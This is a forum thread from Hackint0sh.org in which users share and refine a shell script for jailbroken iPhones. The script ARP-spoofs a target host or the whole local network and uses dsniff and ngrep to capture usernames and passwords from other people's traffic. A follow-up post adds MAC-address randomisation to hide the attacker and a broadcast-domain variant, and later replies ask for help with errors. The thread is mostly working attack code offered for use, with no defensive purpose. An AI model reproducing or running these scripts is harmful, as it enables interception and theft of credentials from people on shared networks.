Results 1 to 8 of 8
Discuss Working dSniff script for iphone 3.0 at the Free Toolchain Software (Cydia App's) - Hackint0sh.org; Search & install dsniff.deb from mulliner (google) on the phone and create a file... Code: ...
  1. #1
    Newbie Array

    Join Date
    Jul 2009
    Posts
    1
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Talking Working dSniff script for iphone 3.0

    Search & install dsniff.deb from mulliner (google) on the phone and create a file...

    Code:
    #!/bin/sh
    #The script needs the following packets: dsniff gawk
    #fr0g
    tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
    tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
    tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
    tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
    tmac=`ifconfig en0|grep ether|cut -d" " -f2`
    
    echo ""
    echo "#####################"
    echo "### dSniff script ###"
    echo "#####################"
    echo ""
    echo "Target IP $tsubnet.?"
    read "thost"
    tip=`echo $tsubnet.$thost`
    echo ""
    echo "Subnet    $tbroadcast"
    echo "Gateway   $tgateway"
    echo "Local MAC $tmac"
    echo "Local IP  $tlocalip"
    echo "Target IP $tip"
    echo ""
    echo "Start sniffing? (y,n)"
    read tsniff
    if [ $tsniff = y ] 
     then 
      sysctl -w net.inet.ip.forwarding=1
      arpspoof -i en0 -t $tip $tgateway > /dev/null 2>&1 &
      arpspoof -i en0 -t $tgateway $tip > /dev/null 2>&1 &
      dsniff
      #ngrep 'USER|PASS|user|pass|username|password|uid|upw' src host $tip|egrep -A0 ">|USER|PASS|user|pass|username|password|uid=|upw="
      #ngrep 'USER|PASS|user|pass|username|password' src host $tip|egrep -A1 ">|USER|PASS|user|pass|username|password"
      ngrep 'USER|PASS|user|pass|username|password' src host $tip
      sleep 3
      ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
      #dsniff
     else
      echo ""
      echo "Clear state? (y,n)"
      read tstate
      if [ $tstate = n ] 
       then
        ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
        exit 0
       else
        sysctl -w net.inet.ip.forwarding=0
        killall dsniff
        killall arpspoof
        killall ngrep
        sleep 3
        ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
        echo "Exit"
        echo ""
        exit 0
      fi
    fi
    
    exit 0
    Last edited by fr0g; 07-23-2009 at 09:57 PM.



  2. #2
    Newbie Array

    Join Date
    Jul 2009
    Posts
    1
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Default

    Great work ;-) Thanks

  3. #3
    Professional Array

    Join Date
    Jun 2009
    Posts
    58
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    7

    Default

    Yep, nice. But dsniff and gawk are not the only packages required... you must also install:

    coreutils
    coreutils-bin
    shell-cmds
    system-cmds
    grep
    ngrep

  4. #4
    Newbie Array

    Join Date
    Sep 2009
    Posts
    8
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Default

    Looks like it could work well, but I'm getting the following error.

    Code:
    Start sniffing? (y,n)
    y
    net.inet.ip.forwarding: 1 -> 1
    dyld: Library not loaded: /usr/lib/libdb-4.6.dylib
      Referenced from: /usr/sbin/dsniff
      Reason: image not found
    ./dsniff.sh: line 59:   955 Trace/BPT trap          dsniff
    interface: en0 (192.168.1.0/255.255.255.0)
    filter: (ip) and ( src host 192.168.1.118 )
    match: USER|PASS|user|pass|username|password
    ##############################
    Any idea how I can fix this?

    Thanks


    Note: adv-cmds package was also installed. It contains the ps command.

  5. #5
    Newbie Array

    Join Date
    Oct 2009
    Posts
    2
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Talking Small upgrade

    Change your MAC first!
    Code:
    #!/bin/sh
    #written by yjps3
    #modified by fr0g 07.2009
    #rnd code by vaporub 
    
    tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
    #Use rnd MAC
    NEW_MAC=`(date) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
    /sbin/ifconfig en0 up lladdr 00:$NEW_MAC
    tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`
    
    echo "MAC old $tmac_old"
    echo "MAC new $tmac_new"
    Sniffing all packets in the broadcast domain
    Code:
    #!/bin/sh
    #The script needs the following packets: dsniff gawk ngrep coreutils coreutils-bin shell-cmds system-cmds grep bigbosshackertools mobileterminal 
    
    tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
    tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
    tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
    tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
    tmac=`ifconfig en0|grep ether|cut -d" " -f2`
    
    echo ""
    echo "#####################"
    echo "### dSniff script ###"
    echo "#####################"
    echo ""
    echo "Gateway   $tgateway"
    echo "Local IP  $tlocalip"
    echo "Local MAC $tmac"
    echo ""
    echo "Start sniffing? (y,n)"
    read tsniff
    if [ $tsniff = y ] 
     then 
      sysctl -w net.inet.ip.forwarding=1
      arpspoof -i en0 $tgateway > /dev/null 2>&1 &
      ngrep 'USER|PASS|user|pass|username|password'
      #ngrep 'USER|PASS|user|pass|username|password|uid|upw'|egrep -A1 "USER|PASS|user|pass|username|password|uid|upw"
      #dsniff
      sysctl -w net.inet.ip.forwarding=0
      killall dsniff
      killall arpspoof
      killall ngrep
      sleep 5
      ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep 
      echo "Exit"
     else
      sysctl -w net.inet.ip.forwarding=0
      killall dsniff
      killall arpspoof
      killall ngrep
      sleep 5
      ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep 
      echo "Exit"
    fi
    exit 0


  6. #6
    Newbie Array

    Join Date
    Oct 2009
    Posts
    2
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Default New version of the script

    Hi guys!! Thank you for this wonderful script.

    My improved version on: http://360percents.com/posts/iphone-dsniff-script/
    Last edited by return0; 05-07-2011 at 01:38 PM.

  7. #7
    Newbie Array

    Join Date
    Feb 2011
    Posts
    1
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Default

    its not working on iphone 4
    im getting:

    pdp_ip0: no IPv4 assigned: Can`t assign requested address

    how can i fix it?

  8. #8
    Newbie Array

    Join Date
    Sep 2012
    Posts
    1
    Post Thanks / Like
    Downloads
    0
    Uploads
    0
    Rep Power
    0

    Default

    Quote Originally Posted by randuja View Post
    its not working on iphone 4
    im getting:

    pdp_ip0: no IPv4 assigned: Can`t assign requested address

    how can i fix it?




    Check your Connection i had the some ploblem

 

 

Similar Threads

  1. [REQ] dsniff for iPhone
    By bergheim in forum Free Toolchain Software (Cydia App's)
    Replies: 65
    Last Post: 01-08-2011, 05:29 AM
  2. iPhone icon for shell script?
    By mooselander in forum iOS 3.x (iPhone OS 3.x)
    Replies: 0
    Last Post: 08-12-2009, 05:29 PM
  3. Wake iphone like MobileMail.app does? #Bash Script
    By katanapod in forum iPhone Developer Exchange
    Replies: 3
    Last Post: 05-26-2009, 04:29 PM
  4. [Release] XPwn Batch Script for iPhone 3G
    By rated-r in forum PwnageTool
    Replies: 0
    Last Post: 07-24-2008, 03:49 AM
  5. script in Iphone
    By lolof in forum Free Toolchain Software (Cydia App's)
    Replies: 4
    Last Post: 10-15-2007, 06:03 PM

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Powered by vBulletin®
Copyright © 2014 vBulletin Solutions, Inc. All rights reserved.
Search Engine Friendly URLs by vBSEO
(c) 2006-2012 Hackint0sh.org
All times are GMT +2. The time now is 10:04 PM.
twitter, follow us!